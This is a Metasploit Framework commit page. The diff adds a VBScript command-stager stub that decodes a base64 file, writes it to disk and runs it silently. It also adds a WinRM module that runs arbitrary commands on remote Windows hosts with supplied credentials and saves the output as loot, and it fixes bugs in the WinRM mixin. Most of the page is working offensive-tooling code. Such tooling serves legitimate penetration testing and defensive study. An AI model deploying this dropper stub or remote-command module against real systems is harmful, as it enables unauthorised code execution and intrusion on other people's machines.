Skip to content

Commit 9166d12

Browse files
author
jvazquez-r7
committed
Merge branch 'WinRM_piecemeal' of https://github.com/dmaloney-r7/metasploit-framework into dmaloney-r7-WinRM_piecemeal
2 parents 70d53b4 + 9d5ab5a commit 9166d12

File tree

6 files changed

+453
-3
lines changed

6 files changed

+453
-3
lines changed

data/exploits/cmdstager/vbs_b64_sleep

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
echo Set fs = CreateObject("Scripting.FileSystemObject") >>decode_stub
2+
echo Set file = fs.GetFile("ENCODED") >>decode_stub
3+
echo If file.Size Then >>decode_stub
4+
echo Set fd = fs.OpenTextFile("ENCODED", 1) >>decode_stub
5+
echo data = fd.ReadAll >>decode_stub
6+
echo data = Replace(data, vbCrLf, "") >>decode_stub
7+
echo data = base64_decode(data) >>decode_stub
8+
echo fd.Close >>decode_stub
9+
echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("DECODED", 2, True) >>decode_stub
10+
echo ofs.Write data >>decode_stub
11+
echo ofs.close >>decode_stub
12+
echo Set shell = CreateObject("Wscript.Shell") >>decode_stub
13+
echo shell.run "DECODED", 0, false >>decode_stub
14+
echo Wscript.sleep(1000 * 60 * 5) >>decode_stub
15+
echo Else >>decode_stub
16+
echo Wscript.Echo "The file is empty." >>decode_stub
17+
echo End If >>decode_stub
18+
echo Function base64_decode(byVal strIn) >>decode_stub
19+
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
20+
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
21+
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
22+
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
23+
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
24+
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
25+
echo If Not w2 Then _ >>decode_stub
26+
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
27+
echo If Not w3 Then _ >>decode_stub
28+
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
29+
echo If Not w4 Then _ >>decode_stub
30+
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
31+
echo Next >>decode_stub
32+
echo base64_decode = strOut >>decode_stub
33+
echo End Function >>decode_stub
34+
echo Function mimedecode(byVal strIn) >>decode_stub
35+
echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>decode_stub
36+
echo If Len(strIn) = 0 Then >>decode_stub
37+
echo mimedecode = -1 : Exit Function >>decode_stub
38+
echo Else >>decode_stub
39+
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
40+
echo End If >>decode_stub
41+
echo End Function >>decode_stub

lib/msf/core/exploit/winrm.rb

Lines changed: 35 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,7 @@ module Exploit::Remote::WinRM
1717
NTLM_CONST ||= Rex::Proto::NTLM::Constants
1818
NTLM_UTILS ||= Rex::Proto::NTLM::Utils
1919
NTLM_XCEPT ||= Rex::Proto::NTLM::Exceptions
20+
2021
def initialize(info = {})
2122
super
2223
register_options(
@@ -61,13 +62,17 @@ def parse_auth_methods(resp)
6162

6263
def winrm_run_cmd(cmd, timeout=20)
6364
resp,c = send_request_ntlm(winrm_open_shell_msg,timeout)
65+
if resp.nil?
66+
print_error "Recieved no reply from server"
67+
return nil
68+
end
6469
if resp.code == 401
6570
print_error "Login failure! Recheck supplied credentials."
6671
return resp .code
6772
end
6873
unless resp.code == 200
6974
print_error "Got unexpected response: \n #{resp.to_s}"
70-
retval == resp.code || 0
75+
retval = resp.code || 0
7176
return retval
7277
end
7378
shell_id = winrm_get_shell_id(resp)
@@ -80,6 +85,29 @@ def winrm_run_cmd(cmd, timeout=20)
8085
return streams
8186
end
8287

88+
def winrm_run_cmd_hanging(cmd, timeout=20)
89+
resp,c = send_request_ntlm(winrm_open_shell_msg,timeout)
90+
if resp.nil?
91+
print_error "Recieved no reply from server"
92+
return nil
93+
end
94+
if resp.code == 401
95+
print_error "Login failure! Recheck supplied credentials."
96+
return resp .code
97+
end
98+
unless resp.code == 200
99+
print_error "Got unexpected response: \n #{resp.to_s}"
100+
retval = resp.code || 0
101+
return retval
102+
end
103+
shell_id = winrm_get_shell_id(resp)
104+
resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id),timeout)
105+
cmd_id = winrm_get_cmd_id(resp)
106+
resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id),timeout)
107+
streams = winrm_get_cmd_streams(resp)
108+
return streams
109+
end
110+
83111
def winrm_wql_msg(wql)
84112
action = winrm_uri_action("wql")
85113
contents = winrm_header(action) + winrm_wql_body(wql)
@@ -134,6 +162,7 @@ def winrm_delete_shell_msg(shell_id)
134162
end
135163

136164
def parse_wql_response(response)
165+
return nil if response.nil?
137166
xml = response.body
138167
columns = []
139168
rows =[]
@@ -160,16 +189,19 @@ def parse_wql_response(response)
160189
end
161190

162191
def winrm_get_shell_id(response)
192+
return nil if response.nil?
163193
xml = response.body
164194
shell_id = REXML::Document.new(xml).elements["//w:Selector"].text
165195
end
166196

167197
def winrm_get_cmd_id(response)
198+
return nil if response.nil?
168199
xml = response.body
169200
cmd_id = REXML::Document.new(xml).elements["//rsp:CommandId"].text
170201
end
171202

172203
def winrm_get_cmd_streams(response)
204+
return nil if response.nil?
173205
streams = {
174206
'stdout' => '',
175207
'stderr' => '',
@@ -178,7 +210,7 @@ def winrm_get_cmd_streams(response)
178210
rxml = REXML::Document.new(xml).root
179211
rxml.elements.to_a("//rsp:Stream").each do |node|
180212
next if node.text.nil?
181-
streams[node.attributes['Name']] << Rex::Text.base64_decode(node.text)
213+
streams[node.attributes['Name']] << Rex::Text.decode_base64(node.text)
182214
end
183215
return streams
184216
end
@@ -291,6 +323,7 @@ def target_url
291323
end
292324
end
293325

326+
294327
private
295328

296329
def winrm_option_set(options)
Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
##
2+
# $Id$
3+
##
4+
5+
##
6+
# This file is part of the Metasploit Framework and may be subject to
7+
# redistribution and commercial restrictions. Please see the Metasploit
8+
# web site for more information on licensing and terms of use.
9+
# http://metasploit.com/
10+
##
11+
12+
13+
require 'msf/core'
14+
require 'rex/proto/ntlm/message'
15+
16+
17+
18+
class Metasploit3 < Msf::Auxiliary
19+
20+
include Msf::Exploit::Remote::WinRM
21+
include Msf::Auxiliary::Report
22+
23+
24+
include Msf::Auxiliary::Scanner
25+
26+
def initialize
27+
super(
28+
'Name' => 'WinRM Command Runner',
29+
'Description' => %q{
30+
This module runs arbitrary Windows commands using the WinRM Service
31+
},
32+
'Author' => [ 'thelightcosine' ],
33+
'License' => MSF_LICENSE
34+
)
35+
36+
register_options(
37+
[
38+
OptString.new('CMD', [ true, "The windows command to run", "ipconfig /all" ]),
39+
OptString.new('USERNAME', [ true, "The username to authenticate as"]),
40+
OptString.new('PASSWORD', [ true, "The password to authenticate with"]),
41+
OptBool.new('SAVE_OUTPUT', [true, "Store output as loot", false])
42+
], self.class)
43+
end
44+
45+
46+
def run_host(ip)
47+
unless accepts_ntlm_auth
48+
print_error "The Remote WinRM server (#{ip} does not appear to allow Negotiate(NTLM) auth"
49+
return
50+
end
51+
streams = winrm_run_cmd(datastore['CMD'])
52+
return unless streams.class == Hash
53+
print_error streams['stderr'] unless streams['stderr'] == ''
54+
print_good streams['stdout']
55+
if datastore['SAVE_OUTPUT']
56+
path = store_loot("winrm.cmd_results", "text/plain", ip, streams['stdout'], "winrm_cmd_results.txt", "WinRM CMD Results")
57+
print_status "Results saved to #{path}"
58+
end
59+
end
60+
61+
62+
63+
end

modules/auxiliary/scanner/winrm/winrm_login.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,8 @@ def initialize
2929
This module attempts to authenticate to a WinRM service. It currently
3030
works only if the remote end allows Negotiate(NTLM) authentication.
3131
Kerberos is not currently supported. Please note: in order to use this
32-
module, the 'AllowUnencrypted' winrm option must be set.
32+
module without SSL, the 'AllowUnencrypted' winrm option must be set.
33+
Otherwise adjust the port and set the SSL options in the module as appropriate.
3334
},
3435
'Author' => [ 'thelightcosine' ],
3536
'References' =>

0 commit comments

Comments
 (0)